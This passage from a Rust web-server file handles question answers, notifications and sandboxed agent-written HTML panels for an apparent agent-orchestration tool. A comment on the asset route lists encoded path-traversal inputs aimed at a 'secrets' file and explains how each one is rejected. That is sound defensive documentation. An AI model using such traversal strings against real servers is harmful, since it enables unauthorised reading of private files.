8135    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8136        Some(Self {
8137            id: inquiry.id,
8138            task: inquiry.task,
8139            run: inquiry.run,
8140            chat: inquiry.delivered_to,
8141            display: inquiry.display,
8142            delivery_error: inquiry.delivery_error,
8143            decision: inquiry.decision?,
8144        })
8145    }
8146}
8147
8148#[derive(serde::Serialize)]
8149struct DecisionsView {
8150    items: Vec<DecisionView>,
8151    unreadable: usize,
8152    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8153}
8154
8155// Read-only: list visits and inquiry links never create owner decisions,
8156// delivery receipts or effect acknowledgements.
8157async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8158    blocking(move || {
8159        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8160        let mut views: Vec<_> = items
8161            .into_iter()
8162            .filter_map(DecisionView::from_inquiry)
8163            .collect();
8164        views.sort_by_key(|view| {
8165            (
8166                view.decision.status == crate::task_decision::Status::Resolved,
8167                view.id.clone(),
8168            )
8169        });
8170        Ok(Json(DecisionsView {
8171            items: views,
8172            unreadable,
8173            migration_errors: crate::task_chat::migration_issues(&ui.home),
8174        }))
8175    })
8176    .await
8177}
8178
8179async fn decision_get(
8180    State(ui): State<Arc<Ui>>,
8181    Path(id): Path<String>,
8182) -> ApiResult<Json<DecisionView>> {
8183    blocking(move || {
8184        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8185        DecisionView::from_inquiry(inquiry)
8186            .map(Json)
8187            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8188    })
8189    .await
8190}
8191
8192async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8193    blocking(move || {
8194        let questions = ui.questions.list();
8195        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8196        Ok(Json(
8197            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8198                .into_iter()
8199                .map(|view| view.with_origin(&tasks, &talks, &watches))
8200                .collect(),
8201        ))
8202    })
8203    .await
8204}
8205
8206/// Question content and answer controls never wait for task/chat provenance.
8207async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8208    blocking(move || {
8209        Ok(Json(question_views(
8210            ui.questions.list(),
8211            &ui.questions,
8212            || deputy_config(&ui.repo),
8213        )))
8214    })
8215    .await
8216}
8217
8218fn question_record_revision(question: &Question) -> String {
8219    use std::hash::{Hash as _, Hasher as _};
8220    let mut hash = std::hash::DefaultHasher::new();
8221    serde_json::to_vec(question)
8222        .expect("serializable question")
8223        .hash(&mut hash);
8224    format!("{:016x}", hash.finish())
8225}
8226
8227#[derive(Serialize)]
8228struct QuestionOriginView {
8229    id: String,
8230    record_revision: String,
8231    origin_chat: Option<String>,
8232    origin_chat_closed: bool,
8233    can_consult_chat: bool,
8234}
8235
8236async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8237    blocking(move || {
8238        let questions = ui.questions.list();
8239        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8240        Ok(Json(
8241            questions
8242                .into_iter()
8243                .map(|question| {
8244                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8245                    let can_consult_chat = consult.is_some();
8246                    let talk = crate::consult::associated_talk_with_watches(
8247                        &tasks, &talks, &question, &watches,
8248                    );
8249                    QuestionOriginView {
8250                        record_revision: question_record_revision(&question),
8251                        id: question.id,
8252                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8253                        origin_chat: talk.map(|talk| talk.id),
8254                        can_consult_chat,
8255                    }
8256                })
8257                .collect(),
8258        ))
8259    })
8260    .await
8261}
8262
8263type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8264
8265/// Only the task ancestry and chats these questions actually reference. Run
8266/// mappings share the reconciled queue index; exact task references bypass it.
8267/// No question means no task/chat I/O, including no index reconciliation.
8268fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8269    fn task_for_run(
8270        ui: &Ui,
8271        index: &mut Option<Vec<Arc<TaskRelation>>>,
8272        run: &str,
8273        loaded: &HashMap<String, Task>,
8274    ) -> ApiResult<Option<Task>> {
8275        if !plain_record_id(run) {
8276            return Ok(None);
8277        }
8278        if index.is_none() {
8279            *index = Some(ui.indexed_tasks()?);
8280        }
8281        Ok(index
8282            .as_ref()
8283            .expect("loaded index")
8284            .iter()
8285            .find(|task| task.runs.iter().any(|id| id == run))
8286            .and_then(|task| {
8287                loaded
8288                    .get(&task.id)
8289                    .cloned()
8290                    .or_else(|| ui.queue.get(&task.id).ok())
8291            })
8292            .filter(|task| task.runs.iter().any(|id| id == run)))
8293    }
8294    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8295        plain_record_id(id)
8296            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8297            .flatten()
8298            .filter(|task| task.id == id)
8299    };
8300    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8301    let mut index = None;
8302    let mut tasks = HashMap::new();
8303    let mut talks = HashMap::new();
8304    for question in questions {
8305        for reference in crate::consult::question_task_refs(question, &watches) {
8306            let mut current = match reference {
8307                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8308                crate::consult::QuestionTaskRef::Run(id) => {
8309                    task_for_run(ui, &mut index, id, &tasks)?
8310                }
8311            };
8312            let mut seen = HashSet::new();
8313            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8314                let Some(task) = current.take() else {
8315                    break;
8316                };
8317                if !seen.insert(task.id.clone()) {
8318                    break;
8319                }
8320                let chat = task.chat_talk().map(str::to_owned);
8321                let followup = task.followup.clone();
8322                tasks.insert(task.id.clone(), task);
8323                if let Some(chat) = chat {
8324                    if plain_record_id(&chat)
8325                        && !talks.contains_key(&chat)
8326                        && let Ok(talk) = ui.talks.get(&chat)
8327                    {
8328                        talks.insert(chat, talk);
8329                    }
8330                    break;
8331                }
8332                let Some(followup) = followup else {
8333                    break;
8334                };
8335                current = match followup.origin_task {
8336                    Some(id) => direct_task(&id, &tasks),
8337                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8338                };
8339            }
8340        }
8341    }
8342    let mut tasks: Vec<Task> = tasks.into_values().collect();
8343    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8344    Ok((tasks, talks.into_values().collect(), watches))
8345}
8346
8347/// `GET /api/notifications`: not dismissed, newest first, with the unread
8348/// count so the badge and the list cannot disagree.
8349async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8350    blocking(move || {
8351        let items = ui.notices.list();
8352        let unread = items.iter().filter(|n| n.unread()).count();
8353        let items: Vec<_> = items
8354            .into_iter()
8355            .map(|n| {
8356                let question = crate::notices::answerable_question(&n, &ui.questions);
8357                let mut item = serde_json::to_value(n)?;
8358                item["answerable_question"] = serde_json::json!(question);
8359                Ok(item)
8360            })
8361            .collect::<anyhow::Result<_>>()?;
8362        Ok(Json(
8363            serde_json::json!({ "unread": unread, "items": items }),
8364        ))
8365    })
8366    .await
8367}
8368
8369fn notice_error(e: anyhow::Error) -> ApiError {
8370    // An unknown or malformed id and a vanished file are the same answer to
8371    // the phone: that notification is gone.
8372    ApiError::not_found(format!("{e:#}"))
8373}
8374
8375/// `POST /api/notifications/{id}/read`.
8376async fn notification_read(
8377    State(ui): State<Arc<Ui>>,
8378    Path(id): Path<String>,
8379) -> ApiResult<Json<Notice>> {
8380    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8381}
8382
8383/// `POST /api/notifications/{id}/dismiss`.
8384async fn notification_dismiss(
8385    State(ui): State<Arc<Ui>>,
8386    Path(id): Path<String>,
8387) -> ApiResult<Json<Notice>> {
8388    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8389}
8390
8391/// `POST /api/notifications/read-all`.
8392async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8393    blocking(move || {
8394        let changed = ui.notices.mark_all_read()?;
8395        Ok(Json(serde_json::json!({ "marked": changed })))
8396    })
8397    .await
8398}
8399
8400/// The body of `POST /api/questions/{id}/answer`.
8401///
8402/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8403/// a bad request rather than a guess: an answer magi invented is worse than a
8404/// question left open.
8405#[derive(Debug, Default, Deserialize)]
8406#[serde(default, deny_unknown_fields)]
8407struct NewAnswer {
8408    choice: Option<String>,
8409    text: Option<String>,
8410    talk: Option<String>,
8411    head: Option<String>,
8412}
8413
8414async fn question_answer(
8415    State(ui): State<Arc<Ui>>,
8416    Path(id): Path<String>,
8417    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8418) -> ApiResult<Json<QuestionView>> {
8419    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8420    let answer = match (body.choice, body.text) {
8421        (Some(c), None) => Answer::Choice(c),
8422        (None, Some(t)) => Answer::Text(t),
8423        (Some(_), Some(_)) => {
8424            return Err(ApiError::bad_request(
8425                "send either `choice` or `text`, not both",
8426            ));
8427        }
8428        (None, None) => {
8429            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8430        }
8431    };
8432
8433    blocking(move || {
8434        let id = resolve_question(&ui.questions, &id)?;
8435        let q = ui
8436            .questions
8437            .get(&id)
8438            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8439        if !q.can_answer() {
8440            // Answered from the terminal, or by another phone, in between the
8441            // list and the tap. The UI shows the recorded answer rather than an
8442            // error, so it needs the record, not just the status.
8443            return Err(ApiError::conflict(format!(
8444                "question {} is already {}",
8445                q.short(),
8446                q.status.as_str()
8447            )));
8448        }
8449        // `Question::answer` owns the rules - an unoffered choice, free text on
8450        // a multiple-choice question, an empty reply - so the route does not
8451        // restate them and cannot drift from the CLI's behaviour.
8452        let cfg = deputy_config(&ui.repo);
8453        let (q, ()) = ui
8454            .questions
8455            .update(&q.id, |r| {
8456                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8457                // Buttons retain their displayed chat/head binding. A direct
8458                // decision does not require a button or a prior persona offer.
8459                if r.routed_task.is_some()
8460                    && r.merge_target.is_some()
8461                    && merge
8462                    && (body.talk.is_some() || body.head.is_some())
8463                {
8464                    let talk_id = body
8465                        .talk
8466                        .as_deref()
8467                        .context("approval button requires its chat")?;
8468                    let head = body
8469                        .head
8470                        .as_deref()
8471                        .context("approval button requires the displayed head")?;
8472                    let talk = ui.talks.get(talk_id)?;
8473                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8474                    r.answer_chat_button(answer, talk_id, head)
8475                } else {
8476                    r.answer(answer)
8477                }
8478            })
8479            .map_err(ApiError::bad_request_from)?;
8480        let (tasks, talks, watches) =
8481            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8482        Ok(Json(
8483            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8484        ))
8485    })
8486    .await
8487}
8488
8489/// A dedicated status avoids the client's settled-question 409 handling.
8490fn question_text_error(e: anyhow::Error) -> ApiError {
8491    let reason = e
8492        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8493        .map(|e| e.reason);
8494    let error = ApiError::bad_request_from(e);
8495    if let Some(reason) = reason {
8496        ApiError {
8497            text_reason: Some(reason),
8498            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8499        }
8500    } else {
8501        error
8502    }
8503}
8504
8505/// The body of `POST /api/questions/{id}/say`.
8506#[derive(Debug, Deserialize)]
8507#[serde(deny_unknown_fields)]
8508struct NewSay {
8509    body: String,
8510}
8511
8512/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8513///
8514/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8515/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8516/// file, so there is no turn to serialize against and no
8517/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8518/// is a *different* process - the run parked behind `magi ask` - and picks
8519/// the reply up on its own poll of the very same file, same as an answer
8520/// does.
8521async fn question_say(
8522    State(ui): State<Arc<Ui>>,
8523    Path(id): Path<String>,
8524    body: std::result::Result<Json<NewSay>, JsonRejection>,
8525) -> ApiResult<Json<QuestionView>> {
8526    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8527    blocking(move || {
8528        let id = resolve_question(&ui.questions, &id)?;
8529        let q = ui
8530            .questions
8531            .get(&id)
8532            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8533        if !q.status.open() {
8534            // Same granularity as `question_answer`: answered or abandoned in
8535            // between the list and the tap is not this route's error to
8536            // explain any differently.
8537            return Err(ApiError::conflict(format!(
8538                "question {} is already {}",
8539                q.short(),
8540                q.status.as_str()
8541            )));
8542        }
8543        // `Question::say` owns the one rule that matters here - an empty
8544        // message tells the agent nothing - so the route does not restate it.
8545        let cfg = deputy_config(&ui.repo);
8546        let (q, ()) = ui
8547            .questions
8548            .update(&q.id, |r| {
8549                if body.body.trim().is_empty() {
8550                    return r.say(body.body);
8551                }
8552                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8553                r.say(body.body)
8554            })
8555            .map_err(question_text_error)?;
8556        let (tasks, talks, watches) =
8557            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8558        Ok(Json(
8559            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8560        ))
8561    })
8562    .await
8563}
8564
8565/// A disconnected request or a replacing listener cannot interrupt the short
8566/// transaction between persistence and detached worker publication.
8567async fn admitted<T: Send + 'static>(
8568    admission: AdmissionGuard,
8569    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8570) -> ApiResult<T> {
8571    tokio::spawn(async move {
8572        let result = work.await;
8573        drop(admission);
8574        result
8575    })
8576    .await
8577    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8578}
8579
8580/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8581/// came from. The question stays open: the chat agent answers it with `magi
8582/// answer`, or puts the decision to the owner in the conversation.
8583///
8584/// Answers 202 and runs the turn in the background, like every route that
8585/// spends agent calls. The text is queued as a draft of the existing talk, and
8586/// the turn goes through the talk's own gate and session; no seat or waiter is
8587/// started here.
8588async fn question_consult(
8589    State(ui): State<Arc<Ui>>,
8590    Path(id): Path<String>,
8591) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8592    let admission = ui.begin_admission()?;
8593    admitted(admission, async move {
8594        let (q, tasks, talks, watches, talk, cfg) = blocking({
8595            let ui = Arc::clone(&ui);
8596            move || {
8597                let id = resolve_question(&ui.questions, &id)?;
8598                let q = ui.questions.get(&id).map_err(|e| {
8599                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8600                })?;
8601                if !q.status.open() {
8602                    return Err(ApiError::conflict(format!(
8603                        "question {} is already {}",
8604                        q.short(),
8605                        q.status.as_str()
8606                    )));
8607                }
8608                let (tasks, talks, watches) =
8609                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8610                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8611                    return Err(ApiError::conflict(format!(
8612                        "question {} has no chat to ask",
8613                        q.short()
8614                    )));
8615                };
8616                // Read the config before `begin` saves anything: a failure here
8617                // must leave no consult record or draft behind, or a retry would
8618                // see `fresh == false` and never start the turn.
8619                let cfg = if q.consult.is_none() {
8620                    Some(Config::discover(&talk.repo, None)?.0)
8621                } else {
8622                    None
8623                };
8624                Ok((q, tasks, talks, watches, talk, cfg))
8625            }
8626        })
8627        .await?;
8628        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8629            .await
8630            .map_err(ApiError::from)?;
8631        let (view, reclaimed, submitted) = blocking({
8632            let ui = Arc::clone(&ui);
8633            move || {
8634                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8635                let claim = if fresh {
8636                    match ui.begin_queued_talk_turn(&talk.id)? {
8637                        Some(turn_guard) => {
8638                            let talk = ui.talks.get(&talk.id)?;
8639                            let cfg = match cfg {
8640                                Some(cfg) => cfg,
8641                                None => Config::discover(&talk.repo, None)?.0,
8642                            };
8643                            Some((talk, cfg, turn_guard))
8644                        }
8645                        None => None,
8646                    }
8647                } else {
8648                    None
8649                };
8650                let q = ui.questions.get(&q.id)?;
8651                let cfg = deputy_config(&ui.repo);
8652                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8653                    .with_origin(&tasks, &talks, &watches);
8654                Ok((view, claim, fresh.then_some(talk.id)))
8655            }
8656        })
8657        .await?;
8658        #[cfg(not(test))]
8659        {
8660            if let Some(id) = submitted {
8661                crate::chat_worker::spawn_turn(&ui.talks, &id)
8662                    .await
8663                    .map_err(ApiError::from)?;
8664            }
8665            drop(reclaimed);
8666        }
8667        #[cfg(test)]
8668        let _ = submitted;
8669        #[cfg(test)]
8670        if let Some((talk, cfg, turn_guard)) = reclaimed {
8671            let talks = ui.talks.clone();
8672            let id = talk.id.clone();
8673            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8674        }
8675        Ok((StatusCode::ACCEPTED, Json(view)))
8676    })
8677    .await
8678}
8679
8680/// Expand an id or short id to exactly one question id.
8681fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8682    if plain_record_id(id) && store.path_of(id).is_file() {
8683        return Ok(id.to_owned());
8684    }
8685    pick(
8686        store.list().into_iter().map(|q| q.id).collect(),
8687        id,
8688        "question",
8689    )
8690}
8691
8692/// `GET /api/questions/{id}/panel`.
8693///
8694/// The panel an agent wrote for this question, as `text/html` under
8695/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8696/// A question without one is a 404 rather than an empty page: the client
8697/// preflights this route with `HEAD` and must be able to tell "no panel" from
8698/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8699/// parent document so it cannot tell the difference by looking.
8700///
8701/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8702/// sanitises or minifies it - a sanitiser is a list of things someone thought
8703/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8704/// is the direction that stays safe when an agent writes markup nobody
8705/// predicted.
8706async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8707    blocking(move || {
8708        let id = resolve_question(&ui.questions, &id)?;
8709        let Some(html) = ui.questions.panel_html(&id) else {
8710            return Err(ApiError::not_found(format!("question {id} has no panel")));
8711        };
8712        Ok(panel_response(
8713            "text/html; charset=utf-8",
8714            false,
8715            html.into_bytes(),
8716        ))
8717    })
8718    .await
8719}
8720
8721/// `GET /api/questions/{id}/asset/{name}`.
8722///
8723/// One file from the question's own panel directory, so a panel can show a
8724/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8725/// having to allow anything off this machine.
8726///
8727/// This is the only route in the server where a client names a file, so it is
8728/// the only one with a traversal surface, and the name is checked by
8729/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8730/// what is worth being explicit about, because the answer is not "all of it in
8731/// one place":
8732///
8733/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8734///   the raw request path and `{name}` spans exactly one segment, so a real
8735///   slash makes the request too long for the route and the router answers 404.
8736/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8737///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8738///   `..\secrets` respectively, which look like plain filenames to the router.
8739///   The validator refuses them here - both for the literal `..` and because
8740///   `/` and `\` are not in the permitted character set - and answers 400.
8741/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8742///   the platform's path API is not, and it is refused here for the same
8743///   reason: NUL is not a permitted character.
8744/// * [`Questions::panel_asset`] validates again on read, so the check is not
8745///   load-bearing in only one place. This route's own check exists so the
8746///   failure is a 400 that says which name was wrong, rather than a store error
8747///   the operator has to interpret.
8748async fn question_asset(
8749    State(ui): State<Arc<Ui>>,
8750    Path((id, name)): Path<(String, String)>,
8751) -> ApiResult<Response> {
8752    // Before any filesystem work and before any path is built: a name this
8753    // server will not serve should not become a `PathBuf` at all.
8754    if !crate::ask::valid_asset_name(&name) {
8755        return Err(ApiError::bad_request(format!(
8756            "`{name}` is not a usable asset name"
8757        )));
8758    }
8759    blocking(move || {
8760        let id = resolve_question(&ui.questions, &id)?;
8761        let asset = ui
8762            .questions
8763            .panel_asset(&id, &name)
8764            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8765        let Some(bytes) = asset else {
8766            return Err(ApiError::not_found(format!(
8767                "question {id} has no asset `{name}`"
8768            )));
8769        };
8770        Ok(panel_response(
8771            asset_content_type(&name),
8772            is_svg(&name),
8773            bytes,
8774        ))
8775    })
8776    .await
8777}
8778
8779/// Content type for a panel asset, from a closed whitelist.
8780///
8781/// A whitelist with an `application/octet-stream` fallback rather than a
8782/// guess, because the one answer that must never come out of here is
8783/// `text/html`. An agent that writes `notes.html` into its panel directory and
8784/// links it would otherwise get its own markup rendered at the top level of the
8785/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8786/// magi's origin - which is precisely the thing the panel design exists to
8787/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8788///
8789/// `nosniff` accompanies this on every response, so a browser cannot decide it
8790/// knows better than the type we sent.
8791fn asset_content_type(name: &str) -> &'static str {
8792    match extension(name).as_deref() {
8793        Some("png") => "image/png",
8794        Some("jpg" | "jpeg") => "image/jpeg",
8795        Some("gif") => "image/gif",
8796        Some("webp") => "image/webp",
8797        Some("svg") => "image/svg+xml",
8798        Some("css") => "text/css; charset=utf-8",
8799        Some("txt") => "text/plain; charset=utf-8",
8800        _ => "application/octet-stream",
8801    }
8802}
8803
8804/// Is this an SVG, and therefore a file that must never be opened at the top
8805/// level?
8806fn is_svg(name: &str) -> bool {
8807    extension(name).as_deref() == Some("svg")
8808}
8809
8810/// Lowercased extension, or `None` for a name without one.
8811fn extension(name: &str) -> Option<String> {
8812    name.rsplit_once('.')
8813        .map(|(_, ext)| ext.to_ascii_lowercase())
8814}
8815
8816/// Every panel response, with the four headers that make it safe and, for an
8817/// SVG, a fifth.
8818///
8819/// One function rather than a header list per handler, because a panel route
8820/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8821/// model gone, silently, on one of two routes. Adding a third panel route later
8822/// means calling this, and there is nowhere else to build a panel response.
8823///
8824/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8825/// as an `<img src>` inside the panel that script cannot run - but the asset
8826/// URL is also a plain URL an operator can be talked into opening in a tab,
8827/// where it is a document on magi's own origin. `Content-Disposition:
8828/// attachment` makes the browser download it instead of rendering it, which
8829/// closes that door without taking away the ability to draw a diff. Raster
8830/// images have no such execution surface and are left inline, so tapping a
8831/// screenshot still shows it.
8832fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8833    let mut res = (
8834        [
8835            (header::CONTENT_TYPE, content_type),
8836            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8837            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8838            (header::REFERRER_POLICY, "no-referrer"),
8839        ],
8840        body,
8841    )
8842        .into_response();
8843    if download {
8844        res.headers_mut().insert(
8845            header::CONTENT_DISPOSITION,
8846            HeaderValue::from_static("attachment"),
8847        );
8848    }
8849    res
8850}
8851
8852/// A talk as the phone reads it.
8853///
8854/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8855/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8856/// parses markdown itself - and the process-local `thinking` hint.
8857#[derive(Debug, Serialize)]
8858struct ChatApproval {
8859    question: String,
8860    target: crate::merge_decision::Target,
8861}
8862
8863#[derive(Debug, Serialize)]
8864struct TalkView {
8865    #[serde(flatten)]
8866    talk: Talk,
8867    turn_bodies_md: Vec<Vec<md::Node>>,
8868    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8869    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8870    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8871    merge_approvals: Vec<ChatApproval>,
8872    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8873    /// this server process.
8874    ///
8875    /// This is deliberately not durable: another server process cannot see
8876    /// it, and a restarted server must not claim an old turn is live. It is a
8877    /// progress hint rather than proof a reply landed; the transcript remains
8878    /// the source of truth for that.
8879    thinking: bool,
8880    /// Context-window usage, derived per request - see
8881    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8882    /// and each mutation) so the phone needs no extra call or polling.
8883    context: talk::ContextUsage,
8884    /// `[talk] operator_name`, when configured; the Chat labels the
8885    /// operator's turns with it.
8886    operator_name: Option<String>,
8887    /// The active persona's display name; `None` for the default voice.
8888    persona_name: Option<String>,
8889    /// URL of the avatar for the conversation's persona (the default voice
8890    /// included). Server-built; a configured `icon` never reaches the client.
8891    persona_avatar: String,
8892    /// Operator avatar; display only and independent of repository config.
8893    operator_avatar: String,
8894    magi_avatar: String,
8895}
8896
8897impl TalkView {
8898    /// Reads the talk's repository config itself; a config that cannot be
8899    /// read leaves the window unknown but never fails the conversation.
8900    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8901        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8902        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8903    }
8904
8905    /// As [`Self::new`], with the config already in hand (the list reads one
8906    /// per repository, not one per conversation).
8907    fn with_config(
8908        talk: Talk,
8909        thinking: bool,
8910        cfg: Option<&Config>,
8911        home: &FsPath,
8912        cache: &id_links::IndexCache,
8913    ) -> Self {
8914        let references = cache.for_talk(home, &talk);
8915        Self::with_references(talk, thinking, cfg, home, &references)
8916    }
8917
8918    fn with_references(
8919        mut talk: Talk,
8920        thinking: bool,
8921        cfg: Option<&Config>,
8922        home: &FsPath,
8923        references: &id_links::IdIndex,
8924    ) -> Self {
8925        // This owned value is the display DTO; never write it back to the talk store.
8926        let snapshot = talk.clone();
8927        for (index, turn) in talk.turns.iter_mut().enumerate() {
8928            let original = &snapshot.turns[index];
8929            if turn.messages.is_empty() {
8930                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8931                    turn.messages.push(talk::Message {
8932                        sender: Some(talk::Sender::Magi),
8933                        accepted_at: None,
8934                        body: original.body.clone(),
8935                        display: Some(display),
8936                        recovery_event: None,
8937                        attachments: original.attachments.clone(),
8938                        reply: None,
8939                    });
8940                }
8941            } else {
8942                for (i, message) in turn.messages.iter_mut().enumerate() {
8943                    message.display =
8944                        talk::notice_display(&snapshot, original, original.messages.get(i));
8945                    if message.display.is_some() {
8946                        message.sender = Some(talk::Sender::Magi);
8947                    }
8948                }
8949            }
8950        }
8951        for message in &mut talk.pending_messages {
8952            if message.display.is_none()
8953                && (message.sender == Some(talk::Sender::Magi)
8954                    || snapshot
8955                        .completion_notices
8956                        .iter()
8957                        .any(|r| r.notice == message.body))
8958            {
8959                message.display = crate::prompt::legacy_notice_display(&message.body);
8960                if message.display.is_some() {
8961                    message.sender = Some(talk::Sender::Magi);
8962                }
8963            }
8964        }
8965        if talk.pending_messages.is_empty()
8966            && snapshot
8967                .completion_notices
8968                .iter()
8969                .any(|r| r.notice == talk.pending)
8970            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8971        {
8972            talk.pending_messages.push(talk::Message {
8973                sender: Some(talk::Sender::Magi),
8974                accepted_at: None,
8975                display: Some(display),
8976                recovery_event: None,
8977                body: talk.pending.clone(),
8978                attachments: talk.pending_attachments.clone(),
8979                reply: None,
8980            });
8981        }
8982        let excerpts: Vec<Vec<Option<String>>> = talk
8983            .turns
8984            .iter()
8985            .map(|turn| {
8986                turn.messages
8987                    .iter()
8988                    .map(|m| {
8989                        m.display
8990                            .as_ref()
8991                            .map(|d| d.facts.chars().take(240).collect())
8992                    })
8993                    .collect()
8994            })
8995            .collect();
8996        for turn in &mut talk.turns {
8997            let provenance = talk::sender(turn, None);
8998            turn.sender = Some(provenance);
8999            for message in &mut turn.messages {
9000                message.sender = Some(message.sender.unwrap_or(provenance));
9001            }
9002        }
9003        // Old reply snapshots have only a role; recover provenance from their target.
9004        let senders: Vec<Vec<talk::Sender>> = talk
9005            .turns
9006            .iter()
9007            .map(|turn| {
9008                if turn.messages.is_empty() {
9009                    vec![talk::sender(turn, None)]
9010                } else {
9011                    turn.messages
9012                        .iter()
9013                        .map(|m| talk::sender(turn, Some(m)))
9014                        .collect()
9015                }
9016            })
9017            .collect();
9018        for reply in talk
9019            .turns
9020            .iter_mut()
9021            .flat_map(|t| t.messages.iter_mut())
9022            .chain(talk.pending_messages.iter_mut())
9023            .filter_map(|m| m.reply.as_mut())
9024        {
9025            if let Some(Some(excerpt)) = excerpts
9026                .get(reply.target.turn)
9027                .and_then(|ms| ms.get(reply.target.message))
9028            {
9029                reply.excerpt = excerpt.clone();
9030                reply.sender = Some(talk::Sender::Magi);
9031            }
9032            if reply.sender.is_none() {
9033                reply.sender = senders
9034                    .get(reply.target.turn)
9035                    .and_then(|messages| messages.get(reply.target.message))
9036                    .copied();
9037            }
9038        }
9039        let context = talk::context_usage(&talk, cfg);
9040        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9041            .turns
9042            .iter()
